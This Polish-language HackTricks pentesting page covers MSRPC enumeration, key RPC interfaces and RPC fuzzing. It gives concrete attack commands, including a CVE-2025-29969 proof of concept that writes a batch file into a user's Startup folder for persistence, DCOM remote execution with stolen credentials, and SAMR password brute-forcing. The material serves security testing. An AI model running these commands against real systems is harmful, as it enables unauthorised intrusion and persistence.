135, 593 - Pentesting MSRPC

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Protokół Microsoft Remote Procedure Call (MSRPC), oparty na modelu klient‑serwer, umożliwia programowi żądanie usługi od programu znajdującego się na innym komputerze bez konieczności rozumienia szczegółów sieci. Pierwotnie pochodził z oprogramowania open-source, a następnie został rozwinięty i opatentowany przez Microsoft.

Do RPC endpoint mapper można uzyskać dostęp przez porty TCP i UDP 135, SMB na TCP 139 i 445 (with a null or authenticated session), oraz jako web service na porcie TCP 593.

135/tcp   open     msrpc         Microsoft Windows RPC

Jak działa MSRPC?

Zainicjowany przez aplikację kliencką, proces MSRPC polega na wywołaniu lokalnej procedury stub, która następnie współdziała z biblioteką runtime klienta w celu przygotowania i przesłania żądania do serwera. Obejmuje to konwersję parametrów do standardowego formatu Network Data Representation. Wybór protokołu transportowego jest ustalany przez bibliotekę runtime, jeśli serwer znajduje się zdalnie, co zapewnia dostarczenie RPC przez stos sieciowy.

https://0xffsec.com/handbook/images/msrpc.png

Identyfikacja wystawionych usług RPC

Obecność usług RPC dostępnych przez TCP, UDP, HTTP i SMB można określić, zapytując usługę lokalizatora RPC oraz poszczególne punkty końcowe. Narzędzia takie jak rpcdump ułatwiają identyfikację unikalnych usług RPC, oznaczanych wartościami IFID, ujawniając szczegóły usług i powiązania komunikacyjne:

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

Dostęp do usługi RPC locator jest możliwy za pomocą konkretnych protokołów: ncacn_ip_tcp i ncadg_ip_udp do dostępu przez port 135, ncacn_np dla połączeń SMB oraz ncacn_http dla komunikacji RPC przez HTTP. Poniższe polecenia ilustrują wykorzystanie modułów Metasploit do audytu i interakcji z usługami MSRPC, skupiając się głównie na porcie 135:

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

Wszystkie opcje z wyjątkiem tcp_dcerpc_auditor są specjalnie zaprojektowane do celowania w MSRPC na porcie 135.

Najważniejsze interfejsy RPC

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • Opis: Interfejs LSA, używany do enumeracji użytkowników.
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • Opis: Interfejs LSA Directory Services (DS), używany do enumeracji domen i relacji zaufania.
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • Opis: Interfejs LSA SAMR, używany do dostępu do publicznych elementów bazy SAM (np. nazwy użytkowników) oraz do brute-force haseł użytkowników niezależnie od polityki blokady konta.
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • Opis: Task scheduler, używany do zdalnego wykonywania poleceń.
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • Opis: Remote registry service, używana do dostępu i modyfikacji rejestru systemowego.
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • Opis: Service control manager i usługi serwera, używane do zdalnego uruchamiania i zatrzymywania usług oraz wykonywania poleceń.
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • Opis: Service control manager i usługi serwera, używane do zdalnego uruchamiania i zatrzymywania usług oraz wykonywania poleceń.
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • Opis: Interfejs DCOM, używany do brute-force password grinding i zbierania informacji za pomocą WM.

MS-EVEN (EventLog Remoting) primitives

Interfejs RPC MS-EVEN (named pipe \pipe\even) udostępnia operacje dziennika zdarzeń (EventLog). Analiza SafeBreach dotycząca CVE-2025-29969 (EventLog-in) pokazuje błąd TOCTOU w MS-EVEN, który pozwala uwierzytelnionemu użytkownikowi o niskich uprawnieniach wywołać zdalne dowolne zapisanie pliku na celu: zawartość wybrana przez atakującego zapisana na ścieżce wybranej przez atakującego, bez potrzeby posiadania praw Administratora do wykonania zdalnego zapisu.

Wzorzec operacyjny (PoC workflow): umieść prawidłowy plik EVTX wraz z payloadem na udziale SMB, a następnie przeprowadź wyścig z logiką MS-EVEN, tak aby cel pobrał plik hostowany na SMB i zapisał go we wskazanej ścieżce.

impacket-smbserver -smb2support Share /tmp/safebreach

Opublikowany PoC używa na stałe zakodowanej nazwy udziału SMB (Share), więc jeśli ją zmienisz, musisz również zaktualizować skrypt.

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

Częstym schematem jest umieszczenie pliku w katalogu autostartu użytkownika w celu utrzymania dostępu i wykonania przy następnym logowaniu (wykonanie nastąpi w kontekście tego użytkownika).

MS-EVEN CreateFile-style prymityw do recon

MS-EVEN udostępnia również prymityw otwierania/tworzenia pliku (opisany w PoC jako CreateFile), który może być użyty przez dowolnego uwierzytelnionego użytkownika do sprawdzenia, czy zdalny plik lub katalog istnieje. To jest przydatne do wykrywania oprogramowania poprzez sprawdzanie typowych ścieżek instalacyjnych (np. C:\Program Files\<Vendor>):

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

Identyfikacja adresów IP

Używając https://github.com/mubix/IOXIDResolver, pochodzącego z Airbus research, możliwe jest nadużycie metody ServerAlive2 w obrębie interfejsu IOXIDResolver.

Ta metoda była użyta do pozyskania informacji o interfejsie jako adres IPv6 z maszyny HTB APT. Zobacz here dla writeupu 0xdf APT — zawiera ona alternatywną metodę wykorzystującą rpcmap.py z Impacket z stringbinding (patrz wyżej).

Wykonanie RCE z ważnymi poświadczeniami

Możliwe jest wykonanie zdalnego kodu na maszynie, jeśli dostępne są poświadczenia prawidłowego użytkownika, przy użyciu dcomexec.py z frameworka impacket.

Pamiętaj, aby spróbować z różnymi dostępnymi obiektami

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

Port 593

Program rpcdump.exe z rpctools może komunikować się z tym portem.

Zautomatyzowane fuzzowanie interfejsów MSRPC

Interfejsy MS-RPC ujawniają dużą i często nieudokumentowaną powierzchnię ataku. Open-source’owy moduł PowerShell MS-RPC-Fuzzer opiera się na NtObjectManager Jamesa Forshawa, aby dynamicznie tworzyć RPC client stubs z metadanych interfejsu, które już znajdują się w binarkach Windows. Gdy stub istnieje, moduł może bombardować każdą procedurę zmutowanymi wejściami i logować wynik, co umożliwia odtwarzalne, masowe fuzzowanie punktów końcowych RPC bez napisania nawet jednej linii IDL.

1. Inwentaryzacja interfejsów

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData wyodrębni UUID, wersję, binding strings (named-pipe / TCP / HTTP) oraz pełne prototypy procedur dla każdego napotkanego interfejsu i zapisze je w rpcServerData.json.

2. Uruchom fuzzer

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

Istotne opcje:

  • -MinStrLen / -MaxStrLen – zakres długości dla generowanych łańcuchów znaków
  • -MinIntSize / -MaxIntSize – zakres wartości dla mutowanych liczb całkowitych (przydatne do testowania przepełnienia)
  • -Sorted – wykonuje procedury w kolejności uwzględniającej zależności parametrów, tak że wyjścia jednego wywołania mogą służyć jako wejścia kolejnego (znacznie zwiększa osiągalne ścieżki)

Fuzzer implementuje 2 strategie:

  1. Default fuzzer – losowe wartości prymitywne i domyślne instancje dla typów złożonych
  2. Sorted fuzzer – kolejność uwzględniająca zależności (zob. docs/Procedure dependency design.md)

Każde wywołanie jest zapisywane atomowo do log.txt; po awarii ostatnia linia natychmiast wskazuje procedurę powodującą błąd. Wynik każdego wywołania jest też kategoryzowany w trzech plikach JSON:

  • allowed.json – wywołanie zakończone sukcesem i zwróciło dane
  • denied.json – serwer odpowiedział Access Denied
  • error.json – dowolny inny błąd / awaria

3. Wizualizacja w Neo4j

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j konwertuje artefakty JSON na strukturę grafową, gdzie:

  • RPC serwery, interfejsy i procedury są węzłami
  • Interakcje (ALLOWED, DENIED, ERROR) są relacjami

Zapytania Cypher pozwalają szybko zlokalizować niebezpieczne procedury lub odtworzyć dokładny ciąg wywołań, który poprzedził awarię.

⚠️ Fuzzer jest destrukcyjny: spodziewaj się awarii usług i nawet BSOD-ów — zawsze uruchamiaj go w odizolowanym VM snapshot.

Automatyczna enumeracja interfejsów i dynamiczne generowanie klienta (NtObjectManager)

PowerShell guru James Forshaw ujawnił większość wewnętrznych mechanizmów Windows RPC w otwartoźródłowym module NtObjectManager. Dzięki niemu możesz w kilka sekund przekształcić dowolny DLL/EXE serwera RPC w w pełni funkcjonalny stub klienta — bez IDL, MIDL ani ręcznego unmarshalling.

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

Typowe wyjście pokazuje typy parametrów dokładnie tak, jak występują w MIDL (np. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).

Gdy znasz interfejs, możesz wygenerować gotowego do skompilowania klienta C#:

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

Wewnątrz wygenerowanego stuba znajdziesz metody takie jak:

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

Pomocnik PowerShell Get-RpcClient może utworzyć interaktywny obiekt klienta, dzięki czemu możesz natychmiast wywołać procedurę:

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

Authentication (Kerberos / NTLM) and encryption levels (PacketIntegrity, PacketPrivacy, …) can be supplied directly via the Connect-RpcClient cmdlet – ideal for omijania Security Descriptors które chronią named pipes o wysokich uprawnieniach.

Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)

Statyczna wiedza o interfejsie jest przydatna, ale to, czego naprawdę potrzebujesz, to coverage-guided fuzzing które rozumie context handles i złożone łańcuchy parametrów. Projekt open-source MS-RPC-Fuzzer automatyzuje dokładnie ten workflow:

  1. Wymień wszystkie interfejsy/procedury eksportowane przez plik binarny celu (Get-RpcServer).
  2. Generuj dynamicznych klientów dla każdego interfejsu (Format-RpcClient).
  3. Losowo modyfikuj parametry wejściowe (długość wide strings, zakresy integerów, enumy) z poszanowaniem oryginalnego NDR type.
  4. Śledź context handles zwracane przez jedno wywołanie, aby automatycznie zasilać kolejne procedury.
  5. Wysyłaj dużą liczbę wywołań przeciw wybranemu transportowi (ALPC, TCP, HTTP lub named pipe).
  6. Loguj statusy zakończenia / błędy / przekroczenia czasu i eksportuj plik importu dla Neo4j, aby wizualizować relacje interface → procedure → parameter oraz klastry awarii.

Example run (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

Pojedynczy out-of-bounds write lub nieoczekiwany wyjątek zostanie natychmiast ujawniony z dokładnym opnum i fuzzed payload, które go spowodowały – idealny punkt startowy do stabilnego proof-of-concept exploit.

⚠️ Wiele usług RPC jest wykonywanych w procesach uruchamianych jako NT AUTHORITY\SYSTEM. Każdy problem z memory-safety zwykle przekłada się na local privilege escalation lub (gdy wystawione przez SMB/135) remote code execution.

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks